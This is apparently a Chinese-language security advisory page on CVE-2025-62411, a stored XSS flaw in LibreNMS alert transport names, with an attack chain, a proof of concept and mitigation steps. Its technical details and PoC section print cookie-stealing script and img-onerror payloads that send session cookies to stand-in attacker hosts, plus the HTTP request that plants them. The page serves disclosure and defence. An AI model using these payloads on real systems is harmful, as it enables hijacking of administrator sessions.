IPBUF安全漏洞报告
English
CVE-2025-62411 CVSS 5.5 中危

CVE-2025-62411:LibreNMS 告警传输管理存储型XSS漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-62411
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
LibreNMS

相关标签

XSS存储型XSS跨站脚本LibreNMS网络监控系统告警管理CVE-2025-62411中危漏洞Web安全管理员权限

漏洞概述

CVE-2025-62411是LibreNMS网络监控系统中的一个存储型跨站脚本(Stored XSS)漏洞,CVSS评分为5.5,属于中危级别。LibreNMS是一款基于GPL许可证的社区网络监控系统,广泛用于企业和服务提供商的网络设备监控与告警管理。该漏洞存在于LibreNMS 25.8.0及以下版本的Alert Transports(告警传输)管理功能模块中。具体而言,当管理员在系统中创建新的Alert Transport时,Transport名称(Transport name)字段的输入值未经充分的输入验证和输出编码处理便被存储到数据库中。随后,当其他管理员访问Alert Rules(告警规则)页面时,该存储的恶意名称会在Transports列中直接渲染显示,从而触发任意JavaScript代码在受害管理员浏览器中执行。由于该漏洞需要高权限(PR:H)才能触发——即攻击者本身需要拥有管理员账户——其利用门槛较高,但一旦成功利用,可导致管理员会话被劫持、敏感操作被未授权执行,或进一步利用管理员权限进行更深层次的攻击。该漏洞已在LibreNMS 25.10.0版本中修复,修复方式是对Transport名称字段实施了适当的输出编码(HTML实体编码)处理。该漏洞由GitHub安全顾问团队发现并通过GitHub Security Advisories平台负责任地披露,修复提交对应的commit为706a77085f4d5964f7de9444208ef707e1f79450,对应的安全公告编号为GHSA-frc6-pwgr-c28w。

技术细节

该漏洞的根源在于LibreNMS Alert Transports管理功能中对用户输入缺乏充分的输出编码机制。在Web应用中,存储型XSS漏洞的产生通常需要满足两个条件:恶意输入被持久化存储到服务器端(如数据库),以及后续在页面渲染时未经过适当的HTML转义/编码直接输出到浏览器。

在LibreNMS的具体实现中,当管理员通过管理界面创建新的Alert Transport时,系统将Transport名称字段的值直接存储到后端数据库中,未对该字段进行严格的输入过滤或HTML特殊字符转义处理。后续,当任何管理员访问Alert Rules页面时,系统会从数据库中读取所有已配置的Transport名称,并在Transports列中以原始HTML形式渲染这些名称。由于浏览器会将这些未编码的HTML/JavaScript内容解析执行,攻击者可以通过精心构造的Transport名称(例如包含`<script>`标签或事件处理器属性的字符串)实现任意JavaScript代码执行。

利用方式如下:攻击者首先需要拥有一个LibreNMS管理员账户(满足PR:H的前置条件),然后导航至Alert Transports管理页面,在创建新Transport时将恶意JavaScript代码(如`<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`)作为Transport名称提交。系统存储该名称后,任何后续访问Alert Rules页面的管理员都会在浏览器中执行该恶意脚本。攻击者可利用此方式窃取管理员会话Cookie、CSRF令牌,或通过管理员权限执行敏感操作(如创建/修改告警规则、访问设备凭据等)。值得注意的是,该漏洞的CVSS向量中包含S:C(Scope Changed),表明跨安全上下文的影响可能扩大。

攻击链分析

STEP 1
步骤1:获取管理员权限
攻击者通过社会工程、凭据填充或内部威胁等方式获取LibreNMS系统的管理员账户凭据。这是利用该漏洞的前置条件(PR:H)。
STEP 2
步骤2:注入恶意Transport名称
攻击者登录LibreNMS管理后台,导航至Settings → Alert Transports页面,创建新的Alert Transport。在Transport名称字段中输入包含恶意JavaScript代码的payload(如<script>标签或事件处理器),该payload被存储到后端数据库中。
STEP 3
步骤3:触发恶意脚本执行
当任何其他管理员访问Alert Rules页面时,系统从数据库读取Transport名称并在Transports列中渲染。由于未进行HTML实体编码,浏览器将恶意payload解析为可执行HTML/JavaScript,从而在受害管理员的浏览器上下文中执行任意代码。
STEP 4
步骤4:会话劫持与权限提升
恶意JavaScript代码窃取受害管理员的会话Cookie或CSRF令牌,攻击者利用这些信息冒充受害管理员执行进一步操作,如修改告警规则、访问设备凭据、导出敏感网络拓扑数据,或通过管理员面板执行系统级命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-62411: LibreNMS Stored XSS via Alert Transport Name Prerequisites: Attacker must have admin privileges on LibreNMS instance (<= 25.8.0) --> <!-- Step 1: Attacker navigates to Alert Transports management page --> <!-- Step 2: Attacker creates a new Alert Transport with malicious payload as the Transport name --> <!-- Malicious Transport Name payload (to be entered in the "Transport name" input field): --> <script>alert('XSS-CVE-2025-62411');document.location='https://attacker.example.com/steal?c='+document.cookie;</script> <!-- Alternative payloads using event handlers (if <script> tags are partially filtered): --> <img src=x onerror="fetch('https://attacker.example.com/log?data='+btoa(document.cookie))"> <!-- Step 3: When any admin views the Alert Rules page, the malicious Transport name is rendered --> <!-- in the Transports column without HTML encoding, triggering JavaScript execution --> <!-- Simulated HTTP request to create malicious Alert Transport: --> POST /alert-transports/ HTTP/1.1 Host: librenms-target.example.com Content-Type: application/x-www-form-urlencoded Cookie: <admin_session_cookie> _name=<script>alert('XSS-CVE-2025-62411');document.location='https://attacker.example.com/steal?c='+document.cookie;</script>&transport=mail&_token=<csrf_token>

影响范围

LibreNMS <= 25.8.0

防御指南

临时缓解措施
在无法立即升级到25.10.0版本的情况下,建议采取以下临时缓解措施:1)限制可创建Alert Transport的管理员账户数量,仅授予可信人员该权限;2)在Web应用防火墙(WAF)或反向代理层面部署XSS过滤规则,对包含<script>标签、onerror等事件处理器特征的请求进行拦截;3)定期审查已创建的Alert Transport列表,排查名称中包含可疑HTML/JS代码的条目并及时删除;4)为所有管理员账户强制启用多因素认证(MFA),降低凭据泄露风险;5)部署Content Security Policy(CSP)响应头,限制内联脚本执行;6)监控管理员账户的异常活动,特别是会话劫持迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表